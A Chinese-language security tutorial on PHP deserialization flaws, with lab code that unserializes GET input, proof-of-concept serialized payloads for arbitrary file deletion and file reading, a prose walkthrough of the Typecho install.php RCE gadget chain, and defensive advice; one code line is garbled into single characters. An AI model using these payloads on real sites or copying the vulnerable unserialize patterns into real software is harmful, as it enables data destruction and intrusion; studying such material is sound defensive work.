描述
反序列化漏洞是一种严重的安全漏洞,常见于应用程序在处理用户输入时(身份验证、文件读写、数据传输等功能点)将对象从字节流或其他格式还原为对象时,未对反序列化接口做访问控制,未对反序列化数据做加密和签名,加密密钥使用硬编码(如 Shiro 1.2.4),使用不安全的反序列化框架库(Fastjson 1.2.24)。这种漏洞可能导致远程代码执行、数据篡改或拒绝服务等问题。
演示
序列化
<?php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$c = new S();
echo serialize($c);
<?php
class S{
var $test = "<script>alert(123)</script>";
function __construct(){
echo $this->test;
}
}
$c = new S();
echo serialize($c);
反序列化
<?php
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
$c = new S();
$u=unserialize($_GET['url']);
echo $u->test;
魔术方法
<?php
class Str3am{
public $var1 = 'abc';
public $var2 = '123';
public function echoP(){
echo $this->var1.'<br>';
}
public function __construct(){ // 当一个对象创建时被调用
echo "__construct<br>";
}
public function __destruct(){ // 当一个对象销毁前被调用
echo "__destruct<br>";
}
public function __toString(){ // 当一个对象被当做字符串使用时被调用
return "__toString<br>";
}
public function __sleep(){ // 在对象被序列化前被调用
echo "__sleep<br>";
// 注意返回带类中所有变量名称的数组
return array('var1', 'var2');
}
public function __wakeup(){ // 将在反序列化之后立即被调用
echo "__wakeup<br>";
}
}
// 创建对象,输出__construct
$obj = new Str3am();
// 调用 echoP 方法
$obj->echoP();
// 把类当做字符串输出,输出__toString
echo $obj;
// 序列化对象,输出__sleep
$s = serialize($obj);
// O:6:"Str3am":2:{s:4:"var1";s:3:"abc";s:4:"var2";s:3:"123";}
echo $s.'<br>';
// 反序列对象,输出__wakeup
unserialize($s);
// 脚本结束,对象被销毁,输出两个 __destruct,还有一个是 unserialize 恢复的对象
?>
demo1
思路
test5.php
的魔术方法中有一个删除文件的操作;
test6.php
包含了test5.php
,并且接受一个传参,进行反序列化。
既然这样,我们是不是可以序列化一个delete
类放入payload
中,然后去访问test6.php
,在test6.php
中把detele
类反序列化出来,调用构造方法__destruct()
去删除1.txt
文件。
test5.php
<?php
class delete
{
public $filename = 'error';
function __destruct()
{
echo $this->filename.'was deleted<br/>';
unlink(dirname(__FILE__).'/'.$this->filename); // 删除文件
}
}
?>
test6.php
<?php
include 'test5.php';
class Person
{
public $name='';
public $age=0;
public function Information()
{
echo 'Person:'.$this->name.' is '.$this->age.' years old.<br />';
}
}
$per = unserialize($_GET['per_serialized']);
?>
POC.php
<?php
class delete
{
public $filename='error';
}
$test=new delete();
$test->filename='1.txt';
echo serialize($test);
?>
// 得到:O:6:"delete":1:{s:8:"filename";s:5:"1.txt";}
demo2
思路:
test8.php中的类定义了__toString()
函数,该函数返回一个文件内容;
我们是不是可以利用该类来读取任意文件?比如读2.html
那么这需要一个可控的unserialize
,还要有个触发__toString()
函数的机会;
于是乎,我们在test9.php
中发现,它包含了test8.php
,存在可控的反序列化参数,并以字符串打印输出。
test8.php
<?php
class red
{
public $filename='error';
function __toString()
{
return file_get_contents($this->filename);
}
}
?>
test9.php
<?php
include 'test8.php';
class Person
{
public $name='';
public $age=0;
public function Information()
{
echo 'Person: '.$this->name.' is '.$this->age.' years old.<br/>';
}
}
$per=unserialize($_GET['per_serialized']);
echo $per;
?>
POC2.php
<?php
class red
{
public $filename='error';
}
$test=new red();
$test->filename='2.html';
echo serialize($test);
?>
// O:3:"red":1:{s:8:"filename";s:6:"2.html";}
Typecho 反序列化漏洞 RCE
描述
- 在
install.php
的第 230 行,有一个用户可控参数__typecho_config
被反序列化了; - 在第 232 行,实例化了一个对象,敏锐的意识到,有没有什么包含危险函数的构造方法会被调用呢?
- 那我们进入到这个类中(
/Typecho/Db.php
)去寻找,发现了__construct()
函数,但这个函数中没什么危险函数。那我们换一个思路吧:能否利用这个__construct()
函数去调用一些其他类,然后再利用其中的构造方法的危险函数呢? - 这时在 120 行发现了程序将一个字符串与一个变量
adapterName
进行拼接。该变量对应config
中的adapter
,如果我们用adapter来实例化一个类,就会触发__toString()
方法。(PHP 是弱类型语言,把一个字符串和一个类拼接时会强制吧类转换成字符串,此时就会触发__toString()
方法。)接下类第思路就是找一个类,其中有__toString()
方法。 - 按照这个思路,我们在
Typecho_Feed
类中找见了__toString()
方法。但是这里的__toString()
并没有危险函数可供利用。但是发现这里会遍历一个数组赋值到screenName
,这个数组用户是可控的。如果我们在遍历数组赋值时,把类赋值给变量,而且呢,这个类中未定义screenName
变量,那么在赋值时就会创建一个类,从而自动调用__get()
方法。这样我们的思路就变成了:找一个类使用了__get()
构造方法,并且存在危险函数可供利用。 - 于是乎,我们在
Typecho/Request.php
中发现Typecho_Request
类重写了__get()构造方法。我们在该构造方法中发现_applyFilter()
函数被调用了,我们点进去看一看。 - 该函数使用了两个危险函数:
array_map($filter, $value)
、call_user_func($filter, $value)
,其中的参数是否可控呢? - 对这个问题分析发现,filter参数可控!那
value
值是否可控呢?答,经过跟踪发现也是可控的! - 综上,存在构造方法可以调用,并且有危险函数,其中的参数是可控的,那这样就可以任意代码执行了
总结:
数据的输入点为install.php
文件中的参数__typecho.config
,从外部读入我们构造的序列化数据,使程序会进入的类Typecho_Db
类的__construct()
函数,然后进入Typecho_Feed
类的__toString()
函数,再依次进入typecho_request
类的__get()
,get()
,_applyfilter
函数,最后由calluserfunc()
或者array_map()
函数实现任意代码执行。
参考:https://www.bilibili.com/video/BV1Ft41187ZX/
防御
1. 避免反序列化不可信的数据
最有效的解决方案是避免反序列化来自不可信源的数据。如果可能,使用安全的序列化机制,避免使用能执行代码的序列化格式。
2. 使用安全的反序列化库
选择使用经过审计并且安全的序列化库。这些库设计时考虑了安全性,并避免了常见的反序列化漏洞。
3. 实施严格的输入验证
在反序列化之前,对输入数据进行严格的验证。确保数据符合预期的格式和结构,并且不包含恶意数据。
4. 使用类白名单
限制反序列化过程中可以构造的对象类型。例如,在 PHP 中,可以使用 allowed_classes 选项来限制允许的类:
d
a
t
a
=
u
n
s
e
r
i
a
l
i
z
e
(
data = unserialize(
data=unserialize(input, [“allowed_classes” => [“MyClass1”, “MyClass2”]]);
5. 更新和修补
确保使用的库和框架是最新的,并应用所有安全补丁。许多反序列化漏洞是由于已知的漏洞未得到修补。